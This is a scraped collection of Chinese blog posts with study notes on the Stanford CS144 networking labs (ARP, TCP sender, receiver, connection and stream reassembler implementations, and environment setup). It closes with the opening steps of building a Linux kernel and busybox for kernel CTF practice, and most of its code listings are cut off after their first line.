主机或路由器不具有链路层地址,而是它们的适配器(即网络接口)具有链路层地址。链路层地址通常称为 MAC 地址。当某个适配器要向某些目的适配器发送一个帧时,发送适配器将目的适配器的 MAC 地址插入至该帧中,并将该帧发送到局域网上。一块适配器可能因为广播操作,接收到了一个并非向它寻址的帧,因此当适配器接收到一个帧时,将检查并丢弃帧的目的MAC地址不与自己MAC地址匹配的以太网帧。
为什么适配器除了有**网络层地址(IP地址)以外,还会有链路层地址(MAC地址)**呢?有两个原因:
由于适配器同时拥有网络层和链路层地址,因此需要相互转化。而这种转换的任务就由 地址解析协议 来完成。ARP 类似于 DNS 服务,但不同的是,DNS 为任何地方的主机来解析主机名,但 ARP 只能为在同一个子网上的主机和路由器接口解析 IP 地址。
每台主机或路由器在其内存中保存了一张 ARP 表,该表包含了 IP 地址到 MAC 地址的映射关系,同时还包含了一个寿命值(TTL),用以表示从表中删除每个映射的时间,例如:
IP 地址 | MAC 地址 | TTL |
---|---|---|
222.222.222.221 | aa-bb-cc-dd-ee-ff | 13:45:00 |
222.222.222.223 | 11-22-33-44-55-66 | 4:34:12 |
… | … | … |
若 ARP 表中已经存放了目标 IP 地址的 MAC 地址映射,那么适配器将会很容易的找出目标 MAC 地址并构造一个以太网帧。但如果找不到,那么发送方将会构造一个 ARP 分组的特殊分组。
ARP 分组中的字段包括发送和接收 IP 地址以及 MAC 地址,同时 ARP 查询分组和响应分组都具有相同的格式。ARP 查询分组的目的是询问子网上所有其他主机和路由器,以确定对应于要解析的 IP 地址的那个 MAC 地址。
当发送适配器需要查询目的适配器的 MAC 地址时,发送适配器会设置分组的目的地址为 MAC 广播地址(FF-FF-FF-FF-FF-FF),这样做的目的是为了让所有子网上的其他适配器都接收到。当其他适配器接收到了该 ARP 查询分组后,只有 IP 匹配的适配器才会返回一个 ARP 响应分组,之后发送适配器便可更新自己的 ARP 表,并开始发送 IP 报文。
查询ARP报文是在广播帧中发送,而响应ARP报文只在一个标准帧中发送。同时 ARP 表是自动建立的,无需人为设置。若主机与子网断开连接,那么该节点留在其他节点的 ARP 表中对应的条目也会被自动删除。
与之相对的,ARP欺骗攻击可以利用 ARP 协议不提供对网络上的 ARP 回复进行身份验证 这样的一个缺陷,来轻易执行中间人攻击或者 DOS 攻击。
其他详细信息可以看看 RFC826 规范。
首先, 我们需要额外设置三个数据结构,分别是:
_arp_table
:ARP 表,用以查询 IP至MAC地址的映射,同时还保存当前 ARP 条目的 TTL。
ARP条目 TTL 为 30s。
_waiting_arp_response_ip_addr
:已经发送了的 ARP 报文。必须确保每个 ARP 报文在5秒内不重复发送。
_waiting_arp_internet_datagrams
:这里存放着等待ARP返回报文的 IP 报文。只有对应 ARP 返回报文到来,更新了 ARP 表后,网络接口才会知道这些 IP 报文要发送至哪个 MAC 地址。
在实现整个网络接口时,必须确保几点
具体代码可以看这里:
测试结果:
]]>这里记录了笔者学习 CS144 计算机网络 Lab4 的一些笔记 - TCP 总实现 TCPConnection
CS144 Lab4 实验指导书 - Lab Checkpoint 4: the summit (TCP in full)
个人 CS144 实验项目地址 - github
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab4-startercode |
之后重新 make 编译即可。
TCPConnection 需要将 TCPSender 和 TCPReceiver 结合,实现成一个 TCP 终端,同时收发数据。
TCPConnection 有几个规则需要遵守:
对于接收数据段而言:
如果接收到的数据包设置了 RST 标志,则将输入输出字节流全部设置为 错误 状态,并永久关闭 TCP 连接。
如果没有收到 RST 标志,则将该数据包传达给 TCPReceiver 来处理,它将对数据包中的 seqno、SYN、payload、FIN 进行处理。
如果接收到的数据包中设置了 ACK 标志,则向当前 TCPConnection 中它自己的 TCPSender 告知远程终端的 ackno 和 window_size。
这一步相当重要,因为数据包在网络中以乱序形式发送,因此远程发送给本地的 ackno 存在滞后性。
将远程的 ackno 和 window size 附加至发送数据中可以降低这种滞后性,提高 TCP 效率。
如果接收到的 TCP 数据包包含了一个有效 seqno,则 TCPConnection 必须至少返回一个 TCP 包作为回复,以告知远程终端 此时的 ackno 和 window size。
如果接收到的 TCP 数据包包含的 seqno 是无效的,则 TCPConnection 也需要回复一个类似的无效数据包。这是因为远程终端可能会发送无效数据包以确认当前连接是否有效,同时查看此时接收方的 ackno 和 window size。这被称为 TCP 的 keep-alive
。
1 | if (_receiver.ackno().has_value() && seg.length_in_sequence_space() == 0 && seg.header().seqno == _receiver.ackno().value() - 1) { |
对于发送数据段来说:
TCPConnection 需要检测时间的流逝。它存在一个 tick 函数,该函数将会被操作系统持续调用。当 TCPConnection 的 tick 函数被调用后,它需要
TCPConfig::MAX RETX ATTEMPTS
,则发送一个 RST 包。TCP 连接的关闭稍微麻烦一些,主要有以下几种情况需要考虑:
接收方收到 RST 标志或者发送方发送 RST 标志后,设置当前 TCPConnection 的输入输出字节流的状态为错误状态,并立即停止退出。这种属于暴力退出(unclear shutdown),可能会导致尚未传输完成的数据丢失(例如仍然在网络中运输的数据包在接收方收到RST标志后被丢弃)。
若想让双方都在数据流收发完整后退出(clear shutdonw),则情况略微麻烦一点。先上张四次挥手的图:
简单讲下挥手的流程:
当客户端的数据全部发送完成,则将会发送 FIN 包以告知服务器 客户端数据全部发送完成(发送完成,不等于被接收完成)。但请注意,此时的服务器仍然可以发送数据至客户端。
当服务器对 客户端的 FIN 进行 ack 后,则说明服务器确认接收客户端的全部数据。
服务器继续发送数据,直到服务器的数据已经全部发送完成,则向客户端发送 FIN 包以告知服务端数据全部发送完成。
当客户端对服务端的 FIN 发送 ack 后,则说明客户端确认接收服务端的全部数据。注意,此时客户端可以确认:
此时客户端可以百分百相信,此时断开连接对客户端是没有任何危害的。
但是!当服务器没接收到 客户端的 ACK 时,
也就是说,服务器一定要获得到客户端的 ACK 才能关闭。
若服务器在超时时间内没获得到客户端的 FIN ACK,则会重发 FIN 包。但假如此时客户端已经断连,那么服务器将永远无法获取到客户端的 FIN ACK。因此即便客户端已经完成了它的所有任务,它仍然需要等待服务器端一小段时间,以便于处理服务端的 FIN 包。
当服务器获取到了客户端的 FIN_ACK 后,它就直接关闭连接。而客户端也会在超时后静默关闭。此时双方均成功获取对方的全部数据,没有造成任何危害。
这里有个很重要的点是,TCP 不会对 ACK 包来进行 ACK。例如服务端不会对客户端发来的 FIN_ACK 回复一个 FIN_ACK_ACK。
这里放两张TCP 双方的状态图,做完这些实验再去看它们就相当轻松了:
测试样例的调试我就不多说了,因为这部分已经在之前说了,直接用 gdb 起一个会话然后单步调试就好,比较简单。这里记录一下 CS144 模拟网卡的调试方式。
首先是启动一个 wireshark 会话抓包,这里有两种方式,一种是终端抓包:
1 | sudo tshark -Pw /tmp/debug.raw -i tun144 |
效果是这样的:
而且抓到的数据包存放于 /tmp/debug.raw 中,也便于后期分析。
不过对我个人而言还是更喜欢图形界面,因此键入以下命令:
注意一定要用 sudo !不然找不到网卡。
1 | sudo wireshark |
然后在 tun144 和 145 中随意选一个,没区别。这里我选了 tun144。
tun144 和 145 是 CS144 模拟出的两个虚拟网卡。这两张网卡可以互通。
之后分别在两个终端下键入命令以相互连接
1 | # 在 tun144 网段下启动 server 监听,其地址为 169.254.144.9:9090 |
1 | # 在 tun145 网段下启动 client,其地址为 169.254.145.9,向 169.254.144.9:9090 发起连接 |
之后便可以在 wireshark 中捕获其数据包来往:
这是捕获到的错误 TCP 数据包的来往。可以发现在三次握手的时候,Server 貌似没有对 Client 返回的 ACK 进行处理,而是一直重发 SYN+ACK,最后导致重发次数过多被 Server 端挂断连接。
找到了问题便可以通过 gdb 来进行调试。不过在用 gdb 调试时,记得给 ./apps/tcp_ipv4
设置个大一点的 -t
数据包超时时间参数,以避免发送方重复发送数据,扰乱捕获数据包的观察。
这个错误折腾了我一个晚上,最后发现貌似是我本机的 Tun/Tap 机制出现了问题,导致 Client 发给 Server 的数据包的 源 IP 地址不一致(看捕获到的第一行数据包 169.254.144.1 -> 169.254.144.9
和第三行数据包 169.254.145.9 -> 169.254.144.9
):
Client 发送的 IP 包头为
169.254.145.9 -> 169.254.144.9
。
这会导致 Server 接收到 第三行 ACK 数据包时,认为该数据包不来自 Client,因此将其丢弃,一直等待 ACK 包。
一种临时解决方法是,在libsponge/tcp_helpers/tcp_over_ip.cc
中的 TCPOverIPv4Adapter::unwrap_tcp_in_ip
函数中,注释掉一个 check:
1 | optional<TCPSegment> TCPOverIPv4Adapter::unwrap_tcp_in_ip(const InternetDatagram &ip_dgram) { |
这真是太折腾了…
该实验相当相当的费劲,原因时大量的测试样例会涉及到大量的边界检测,以及最后还会有真实网络连接下的数据包交互。TCPSender 和 TCPReceiver 必须足够鲁棒,才能降低 TCPConnection 的实现难度。
TCPConnection 必须实时根据当前的 TCP 状态来处理传入的数据包,过滤无用数据包,其实现必须假设输入的 TCPSegment 不可信任,然后利用大量的 check 来把它慢慢验证为是一个可信的 TCPSegment。
注意:一定要防止整数溢出攻击!
这部分实现的相关解释,我以注释的形式写入代码中,结合代码阅读方便理解。整体实现完成其实也没多少代码,因为大部分的操作都可以推迟到具体的 TCPSender、TCPReceiver 来处理(包括里面的异常处理)。
因此这个实验非常吃前面实验实现的基础代码,非常非常的吃。
而且前面的实验可能也存在一些问题没有被测试样例给检测出来,这次将全部检测出(因为是TCP实验中最后的部分了)。
代码位于:
测试结果:
benchmark:
webget 与真实服务器通信:
CS144 中用来模拟两机网络交互的那部分代码很有意思,这里简单的研究了一下 tcp_ipv4.cc
中的完整逻辑。
首先,项目根路径中的 tun.sh
会使用 ip tuntap
技术创建虚拟 Tun/Tap 网络设备。这类接口仅能工作在内核中。不同于普通的网络接口,没有物理硬件。这样做的目的应该是为了模拟真实网络环境下的网络环境。
这里是 tun/tap 的详细描述 - 虚拟设备之TUN和TAP - 知乎
当 Tun/Tap 网络设备建立好后,tcp_ipv4.cc 中会建立一个 TCPOverIPv4OverTunFdAdapter
。TunFd
指的是连接进 Tun 设备上的 socket,而TCPOverIPv4OverTunFdAdapter
是一个 IP 层面的封装接口。当调用 adapter 向其写入 TCP 报文段时,它会自动 wrap 上 IP 段并传输进网络设备中;读取也是亦然,会自动解除 IP 段并返回其内部封装的 TCP报文段。
接下来,无论对于 Server 还是 Client,在三次握手之后,都会建立一个新的线程,来专门执行 LossyTCPOverIPv4SpongeSocket
中的 eventloop。而子线程会另起一个 eventloop 以及另外开辟两个缓冲区,用于存放用户写入的数据与即将输出至屏幕的数据。当用户通过 stdin 输入数据时, eventloop 中所注册的 poll 事件被检测到,则数据将会被写入进本地输入缓冲区中。当 TCPOverIPv4OverTunFdAdapter
可写时,它会将本地输入缓冲区中的数据全部写入至 TCPOverIPv4OverTunFdAdapter
,并最终传输至远程。
而 webget 与真实服务器通信的原理,也是通过将 IP 报文写入 tun 虚拟网络设备,将其注入进 OS 协议栈中,模拟实际的发包情况。
以下是 tun.sh
中创建 tun 网络设备的相关命令:
1 | # start_tun 144 |
这是一个相当有意思的代码,有空可以读读理解理解。
]]>这里记录了笔者学习 CS144 计算机网络 Lab3 的一些笔记 - TCP 发送方实现 TCPSender
CS144 Lab3 实验指导书 - Lab Checkpoint 3: the TCP sender
个人 CS144 实验项目地址 - github
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab3-startercode |
之后重新 make 编译即可。
TCP Sender 负责将数据以 TCP 报文的形式发送,其需要完成的功能有:
TCP 使用超时重传机制。TCPSender 除了将原始数据流分解成众多 TCP 报文并发送以外,它还会追踪每个已发送报文(已被发送但还未被接收)的发送时间。如果某些已发送报文太久没有被接收方确认(即接收方接收到对应的 ackno),则该数据包必须重传。
需要注意的是,接收方返回的 ackno 并不一定对应着发送方返回的 seqno(也不和 seqno 有算数关系),这是因为发送的数据可能会因为内存问题,被接收方截断。
接收方确认某个报文,指的是该报文的所有字节索引都已被确认。这意味着如果该报文只有部分被确认,则不能说明该报文已被完全确认。
TCP 的超时机制比较麻烦,这是因为超时机制直接影响到应用程序从远程服务器上读取数据的响应时间,以及影响到网络拥堵的程度。以下是实现 TCPSender 时需要注意的一些点:
每隔几毫秒,TCPSender的 tick 函数将会被调用,其参数声明了过去的时间。这是 TCPSender 唯一能调用的超时时间相关函数。因为直接调用 clock 或者 time 将会导致测试套件不可用。
TCPSender 在构造时会被给予一个重传超时时间 RTO的初始值。RTO 是在重新发送未完成 TCP 段之前需要等待的毫秒数。RTO值将会随着时间的流逝(或者更应该说是网络环境的变化)而变化,但初始的RTO将始终不变。
在 TCPSender 中,我们需要实现一个重传计时器。该计时器将会在 RTO 结束时进行一些操作。
当每次发送包含数据的数据包时,都需要启动重传计时器,并让它在 RTO 毫秒后超时。若所有发送中报文均被确认,则终止重传计时器。
如果重传计时器超时,则需要进行以下几步(稍微有点麻烦)
重传尚未被 TCP 接收方完全确认的最早报文(即最低 ackno所对应的报文)。这一步需要我们将发送中的报文数据保存至一个新的数据结构中,这样才可以追踪正处于发送状态的数据。
如果接收者的 window size 不为 0,即可以正常接收数据,则
接收者 window size 为 0 的情况将在下面说明。
当接收者给发送者一个确认成功接收新数据的 ack 包时(absolute ack seqno 比之前接收到的 ackno 更大):
在该实验中,我们需要完成 TCPSender 的以下四个接口:
fill_window:TCPSender 从 ByteStream 中读取数据,并以 TCPSegement 的形式发送,尽可能地填充接收者的窗口。但每个TCP段的大小不得超过 TCPConfig::MAX PAYLOAD SIZE
。
若接收方的 Windows size 为 0,则发送方将按照接收方 window size 为 1 的情况进行处理,持续发包。
因为虽然此时发送方发送的数据包可能会被接收方拒绝,但接收方可以在反向发送 ack 包时,将自己最新的 window size 返回给发送者。否则若双方停止了通信,那么当接收方的 window size 变大后,发送方仍然无法得知接收方可接受的字节数量。
若远程没有 ack 这个在 window size 为 0 的情况下发送的一字节数据包,那么发送者重传时不要将 RTO 乘2。这是因为将 RTO 双倍的目的是为了避免网络拥堵,但此时的数据包丢弃并不是因为网络拥堵的问题,而是远程放不下了。
ack_received:对接收方返回的 ackno 和 window size 进行处理。丢弃那些已经完全确认但仍然处于追踪队列的数据包。同时如果 window size 仍然存在空闲,则继续发包。
tick:该函数将会被调用以指示经过的时间长度。发送方可能需要重新发送一些超时且没有被确认的数据包。
send_empty_segment:生成并发送一个在 seq 空间中长度为 0 并正确设置 seqno 的 TCPSegment,这可让用户发送一个空的 ACK 段。
我们无需定义新的状态变量,只需合理利用好各个公共接口的状态,即可快速确认当前的状态。
实现起来有几个坑点:
当 SYN 设置后,payload 应该在尽可能装的基础之上,少装入 1byte,因为这个 byte 大小被 SYN 占用。
而在 payload 尽可能装的基础上,若 FIN 装不下了,则必须在下一个包中装入 FIN 。
FIN 包的发送必须满足三个条件:
当循环填充发送窗口时,若发送窗口大小足够但本地没有数据包需要发送,则必须停止发送。
若当前 Segment 是 FIN 包,则在发送完该包后,立即停止填充发送窗口。
重传定时器追踪的是发送者距离上次接收到新 ack 包的时间,而不是每个处于发送中的包的超时时间。因此除 SYN 包以外(它会启动定时器),其他发包操作将不会重置 重传定时器,同时也无需为每个数据包配备一个定时器。
同时,只有存在新数据包被接收方确认后,才会重置定时器。
tick 函数也是类似,只有存在处于发送状态的数据包时,重传定时器才起作用。若重传定时器超时,则重传的是第一个 seqno 最小且尚未重传的数据包。
当接收方的 window size 为 0 时,仍旧按照 window size 为 1 时去处理,发送一字节数据。但是,若远程没有发送 ack 包的时候,不要将 RTO 双倍,还是重置为之前的 RTO。
以下是我的实现:
类声明:
1 | class TCPSender { |
类方法实现:
1 | uint64_t TCPSender::bytes_in_flight() const { return _outgoing_bytes; } |
这里记录了笔者学习 CS144 计算机网络 Lab2 的一些笔记 - TCP接收方实现 TCPReceiver
CS144 Lab2 实验指导书 - Lab Checkpoint 2: the TCP receiver
个人 CS144 实验项目地址 - github
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab2-startercode |
之后重新 make 编译即可。
在 Lab2,我们将实现一个 TCPReceiver,用以接收传入的 TCP segment 并将其转换成用户可读的数据流。
TCPReceiver 除了将读入的数据写入至 ByteStream 中以外,它还需要告诉发送者两个属性:
ackno 和 window size 共同描述了接收者当前的接收窗口。接收窗口是 发送者允许发送数据的一个范围,通常 TCP 接收方使用接收窗口来进行流量控制,限制发送方发送数据。
总的来说,我们将要实现的 TCPReceiver 需要做以下几件事情:
TCP 报文中用来描述**当前数据首字节的索引(序列号 seqno)**是32位类型的,这意味着在处理上增加了一些需要考虑的东西:
由于 32位类型最大能表达的值是 4GB,存在上溢的可能。因此当 32位的 seqno 上溢后,下一个字节的 seqno 就重新从 0 开始。
处于安全性考虑,以及避免与之前的 TCP 报文混淆,TCP 需要让每个 seqno 都不可被猜测到,并且降低重复的可能性。因此 TCP seqno 不会从 0 开始,而是从一个 32 位随机数起步(称为初始序列号 ISN)。
而 ISN 是表示 SYN 包(用以表示TCP 流的开始)的序列号。
TCP 流的逻辑开始数据包和逻辑结束数据包各占用一个 seqno。除了确保接收到所有字节的数据以外,TCP 还需要确保接收到流的开头和结尾。 因此,在 TCP 中,SYN(流开始)和 FIN(流结束)控制标志将会被分别分配一个序列号(SYN标志占用的序列号就是ISN)。
流中的每个数据字节也占用一个序列号。
但需要注意的是,SYN 和 FIN 不是流本身的一部分,也不是传输的字节数据。它们只是代表字节流本身的开始和结束。
字节索引类型一多就容易乱。当前总共有三种索引:
这是一个简单浅显的例子,用于区分开三种索引的区别:
序列号和绝对序列号之间相互转换稍微有点麻烦,因为序列号是循环计数的。在该实验中,CS144 使用自定义类型 WrappingInt32 表示序列号,并编写了它与绝对序列号之间的转换。
但这个需要我们自己实现,天下没有免费的午餐(笑)
这个实现稍微有点麻烦,而且实现的时候也最好避免各类循环,减少使用条件判断的次数,以提高执行效率。
我的实现如下所示,相关细节以注释形式写入至代码中:
1 | //! Transform an "absolute" 64-bit sequence number (zero-indexed) into a WrappingInt32 |
需要实现一些类成员函数
segment_received()
: 该函数将会在每次获取到 TCP 报文时被调用。该函数需要完成:
如果接收到了 SYN 包,则设置 ISN 编号。
注意:SYN 和 FIN 包仍然可以携带用户数据并一同传输。同时,同一个数据包下既可以设置 SYN 标志也可以设置 FIN 标志。
将获取到的数据传入流重组器,并在接收到 FIN 包时终止数据传输。
ackno()
:返回接收方尚未获取到的第一个字节的字节索引。如果 ISN 暂未被设置,则返回空。
window_size()
:返回接收窗口的大小,即第一个未组装的字节索引和第一个不可接受的字节索引之间的长度。
这是 CS144 对 TCP receiver 的期望执行流程:
对于 TCPReceiver 来说,除了错误状态以外,它一共有3种状态,分别是:
在每次 TCPReceiver 接收到数据包时,我们该如何知道当前接收者处于什么状态呢?可以通过以下方式快速判断:
Window Size 是当前的 capacity 减去 ByteStream 中尚未被读取的数据大小,即 reassembler 可以存储的尚未装配的子串索引范围。
ackno 的计算必须考虑到 SYN 和 FIN 标志,因为这两个标志各占一个 seqno。故在返回 ackno 时,务必判断当前 接收者处于什么状态,然后依据当前状态来判断是否需要对当前的计算结果加1或加2。而这条准则对 push_substring 时同样适用。
类声明:
1 | class TCPReceiver { |
方法实现:
1 | /** |
测试结果就不贴了,不同的机器上跑所消耗的时间是不一样的,没什么可比性。
]]>这里记录了笔者学习 CS144 计算机网络 Lab1 的一些笔记 - 流重组器 StreamReassembler
CS144 Lab1 实验指导书 - Lab Checkpoint 1: stitching substrings into a byte stream
个人 CS144 实验项目地址 - github
PS: 在做 CS144 前,最好先学一手计网理论,或者读读我之前写的笔记
这幅图完整的说明了CS144 这门实验的结构:
其中, ByteStream
是我们已经在 Lab0 中实现完成的。
我们将在接下来的实验中分别实现:
StreamReassembler
:实现一个流重组器,一个将字节流的字串或者小段按照正确顺序来拼接回连续字节流的模块TCPReceiver
:实现入站字节流的TCP部分。TCPSender
:实现出站字节流的TCP部分。TCPConnection
: 结合之前的工作来创建一个有效的 TCP 实现。最后我们可以使用这个 TCP 实现来和真实世界的服务器进行通信。该实验引导我们以模块化的方式构建一个 TCP 实现。
流重组器在 TCP 起到了相当重要的作用。迫于网络环境的限制,TCP 发送者会将数据切割成一个个小段的数据分批发送。但这就可能带来一些新的问题:数据在网络中传输时可能丢失、重排、多次重传等等。而TCP接收者就必须通过流重组器,将接收到的这些重排重传等等的数据包重新组装成新的连续字节流。
当前我们的实验代码位于 master
分支,而在完成 Lab1 之前需要合并一些 Lab1 的依赖代码,因此执行以下命令:
1 | git merge origin/lab1-startercode |
之后重新 make 编译即可。
先 cmake && make 一个 Debug 版本的程序。
所有的评测程序位于build/tests/
中,先一个个手动执行过去。
若输出了错误信息,则使用 gdb 调试一下。
在我们所实现的流重组器中,有以下几种特性:
接收子字符串。这些子字符串中包含了一串字节,以及该字符串在总的数据流中的第一个字节的索引。
是不是有TCP那味了 :-) 感兴趣可以看看真实世界中的 TCP 报文段结构 - Kiprey Blog
流的每个字节都有自己唯一的索引,从零开始向上计数。
StreamReassembler 中存在一个 ByteStream 用于输出,当重组器知道了流的下一个字节,它就会将其写入至 ByteStream中。
需要注意的是,传入的子串中:
子串之间可能相互重复,存在重叠部分
但假设重叠部分数据完全重复。
不存在某些 index 下的数据在某个子串中是一种数据,在另一个子串里又是另一种数据。
重叠部分的处理最为麻烦。
可能会传一些已经被装配了的数据
如果 ByteStream 已满,则必须暂停装配,将未装配数据暂时保存起来
除了上面的要求以外,容量 Capacity 需要严格限制:
为了便于说明,将图中的绿色区域称为 ByteStream,将图中**存放红色区域的内存范围(即 first unassembled - first unacceptable)**称为 Unassembled_strs。
CS144 要求将 ByteStream + Unassembled_strs 的内存占用总和限制在 Reassember 中构造函数传入的 capacity 大小。因此我们在构造 Reassembler 时,需要既将传入的 capacity 参数设置为 ByteStream
的缓冲区大小上限,也将其设置为first unassembled - first unacceptable的范围大小,以避免极端情况下的内存使用。
注意:first unassembled - first unacceptable的范围大小,并不等同于存放尚未装配子串的结构体内存大小上限,别混淆了。
Capacity 这个概念很重要,因为它不仅用于限制高内存占用,而且它还会起到流量控制的作用(见 lab2)。
总体上,现阶段的要求还是比较简单的,但是,这里面需要考虑到相当多的情况。
在具体说明处理情况之前,我们先简单定义几个变量来指示当前状态:
_next_assembled_idx
:下一个待装配的字节索引_unassemble_strs
: 一个字节索引到数据子串的 map 映射_eof_idx
: 指示哪个字节索引代表 EOF以下是具体需要考虑的情况
index <= _next_assembled_idx && index + data.size() > _next_assembled_idx
1 | index _next_assembled_idx index+data.size() |
这种情况可以先截断掉
这样截断是为了让每次装配进的数据与存入 _unassembled_strs 的数据不产生重合,简化处理逻辑。
之后就可以直接装配,无需任何额外处理。
如果装配不下,即 _output
已满,那么就必须先放入待装配队列 _unassembled_strs
中,等待装配。
index > _next_assembled_idx
这种情况是需要认真考虑的,因为这种情况可能会与一些已经保存起来的未装配子串重合,导致大量的内存占用以及无用的轮询处理。对于传入数据的始末位置,分别有好几种情况。
为了便于说明,我们将
_unassembled_strs
中比 index 小且距离最近的那部分数据,称作 up_data, 其起始位置称为 up_idx。
down_data 和 down_idx 同上,指的是在_unassembled_strs
中比当前传入 index 大且距离最近的那部分数据与起始位置。up 指的是数据前面的那个方向,down 是数据后面的那个方向。
首先是传入数据头部位置的情况:
若 up_idx + up_data.size() <= index, 则说明当前传入 data 没有与已经保存的上一个子串重叠。这种无需处理
1 | _next_assembled_idx up_idx index |
若 up_idx + up_data.size() > index, 则说明传入数据前半部分重合,需要进行截断,同时在截断后更新当前 index。
截断前:
1 | _next_assembled_idx up_idx up_idx+up_data.size |
截断后:
1 | _next_assembled_idx up_idx up_idx+up_data.size |
而对于传入数据尾部位置的情况,情况又有所不同:
若 index + data.size() <= down_idx,则说明当前数据的后半部分没有重合,此时无需进行任何处理。
1 | index index+data.size down_idx |
若 index + data.size() > down_idx,则说明后半部分重合。但后半部分重合又有两种情况
index + data.size() < down_idx + down_data.size()
,这种就是常规情况的部分重合,截断掉重合部分即可
截断前:
1 | index index+data.size |
截断后
1 | index index+data.size |
index + data.size() < down_idx + down_data.size(),这种是完全重合:当前传入的 data 完全覆盖下一个保存的data,此时将下一个 data 丢弃。
注意,若存在完全覆盖的情况,则需要重复检测 index + data.size 的位置与丢弃下一个data后,新的下一个data的末尾位置。因为可能当前传入的 data 会同时覆盖好几个保存的 data。
处理前:
1 | index index+data.size |
处理后:
1 | index index+data.size |
上面所描述的处理方式可以很好的保证,_unassembled_strs 中的各个子串之间互不重叠,提高了内存利用效率。这是一种用时间换空间的方式,因为个人认为,从不可靠网络中获取到的数据是相当宝贵的,与降低处理时间相比,会更加宝贵一点。
EOF 的实现需要严格按照实验指导书来。当传入的 eof 参数为真时,表示当前传入的数据子串的最后一个字节将是整个流中的最后一个字节,这并不意味着这是最后一次调用 reassembler 来传入子串,因此需要额外将这个 eof_idx 保存,并在 reassemble 后判断一下是否到达 EOF 位置。
实现的代码已经上传到github上
以下是测试结果,总测试时间低于0.5s,还可以。
]]>这里记录了笔者配置 CS144 计算机网络实验环境的一些步骤。
CS144 Lab0 实验指导书 - Lab Checkpoint 0: networking warmup
个人 CS144 实验项目地址 - github
如果是使用自己的 Linux 操作系统,照着这个装就好 - BYO Linux installation。
不过鉴于目前 Linux 下已经装了不少的东西,因此我这边只需额外再装一个 doxygen + clang-format
1 | sudo apt-get install doxygen clang-format |
之后下载 CS144 实验包,然后编译
1 | git clone --recursive git@github.com:Kiprey/sponge.git |
cmake 时可以设置几种编译宏:
1 | -DCMAKE_BUILD_TYPE=Release # optimizations |
make 也有一些可以用到的编译选项,这里只罗列出比较常用的选项:
1 | make doc # 在 build/doc 中生成本地静态文档,通过 index.html 访问 |
CS144 使用 C++11 标准完成实验,它对C++代码的风格有着严格的限制:
使用 Resource acquisition is initialization 风格,即 RAII 风格。
禁止使用 malloc 和 free 函数
禁止使用 new 和 delete 关键字
禁止使用原生指针(*)。若有必要,最好使用智能指针(unique_ptr等等)。
CS144实验指导书说明,该实验没有必要用到指针。
禁止使用模板、线程相关、各类锁机制以及虚函数
禁止使用C风格字符串(char*) 以及 C 风格字符串处理函数。使用 string 来代替。
禁止使用 C 风格强制类型转换。若有必要请使用 static_cast
传递参数给函数时,请使用常量引用类型(const Ty& t)
尽可能将每个变量和函数方法都声明成 const
禁止使用全局变量,以及尽可能让每个变量的作用域最小
在完成代码后,务必使用 make format
来标准化代码风格。
使用 telnet cs144.keithw.org http
命令以连接远程网页服务器,之后在终端键入以下内容
内容中的
<enter>
指的是按下回车符
1 | GET /hello HTTP/1.1<enter> |
之后就可以看到远程服务器将内容正确返回:
比较有意思的是, telnet 在进行 http 访问下,会自动将用户输入的换行转化为 \r\n
,而 nc 程序不会这样做。
这里我们需要实现一个程序 webget
,用于访问外部网页,类似于 wget。
代码量预计 10 行左右,位于apps/webget.cc
,实现代码时务必借助 libsponge 中的 TCPSocket
和 Address
类来完成。
需要注意的是
HTTP 头部的每一行末尾都是以\r\n
结尾,而不是\n
需要包含Connection: close
的HTTP头部,以指示远程服务器在处理完当前请求后直接关闭。
除非获取到EOF,否则必须循环从远程服务器读取信息。
因为网络数据的传输可能断断续续,需要多次 read。
这里贴出我的实现方式:
1 | void get_URL(const string &host, const string &path) { |
运行的很成功:
Lab0 要求我们实现一个在内存中的 有序可靠字节流(有点类似于管道)
要求
字节流可以从写入端写入,并以相同的顺序,从读取端读取
字节流是有限的,写者可以终止写入。而读者可以在读取到字节流末尾时,产生EOF标志,不再读取。
所实现的字节流必须支持流量控制,以控制内存的使用。当所使用的缓冲区爆满时,将禁止写入操作。直到读者读取了一部分数据后,空出了一部分缓冲区内存,才让写者写入。
写入的字节流可能会很长,必须考虑到字节流大于缓冲区大小的情况。即便缓冲区只有1字节大小,所实现的程序也必须支持正常的写入读取操作。
在单线程环境下执行,因此不用考虑各类条件竞争问题。
这是在内存中的有序可靠字节流,接下来的实验会让我们在不可靠网络中实现一个这样的可靠字节流,而这便是传输控制协议(Transmission Control Protocol,TCP)
以下是实现的代码。
首先是类声明的实现,这里我添加了一个私有变量用以存放一些数据:
1 | class ByteStream { |
具体的成员实现:
1 | ByteStream::ByteStream(const size_t capacity) |
这个 Lab0 还是比较简单的,可以看到 check 跑的非常成功:
]]>内核 CTF 入门,主要参考 CTF-Wiki。
调试内核需要一个优秀的 gdb 插件,这里选用 gef。
根据其他师傅描述,peda 和 pwndbg 在调试内核时会有很多玄学问题。
1 | pip3 install capstone unicorn keystone-engine ropper |
去清华源下载 Linux kernel 压缩包并解压:
1 | curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.9.8.tar.xz |
进入项目文件夹,进行 makefile 配置
1 | cd linux-5.9.8 |
在其中勾选
Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info
Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger
之后保存配置并退出
开始编译内核(默认 32 位)
1 | make -j 8 bzImage |
不推荐直接
make -j 8
,因为它会编译很多很多大概率用不上的东西。
这里有些小坑:
缺失依赖项。
解决方法:根据 make 的报错信息来安装依赖项。
1 | sudo apt-get install libelf-dev |
make[1]: *** No rule to make target 'debian/certs/debian-uefi-certs.pem', needed by 'certs/x509_certificate_list'. Stop.
解决方法:将 .config
中的 CONFIG_SYSTEM_TRUSTED_KEYS
内容置空,然后重新 make。
1 | # |
等出现了以下信息后则编译完成:
1 | Setup is 15420 bytes (padded to 15872 bytes). |
最后在启动内核前,先构建一个文件系统,否则内核会因为没有文件系统而报错:
1 | Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) |
首先下载一下 busybox 源代码:
1 | wget https://busybox.net/downloads/busybox-1.34.1.tar.bz2 |
之后配置 makefile:
1 | cd busybox-1.34.1 |
在 menuconfig 页面中,
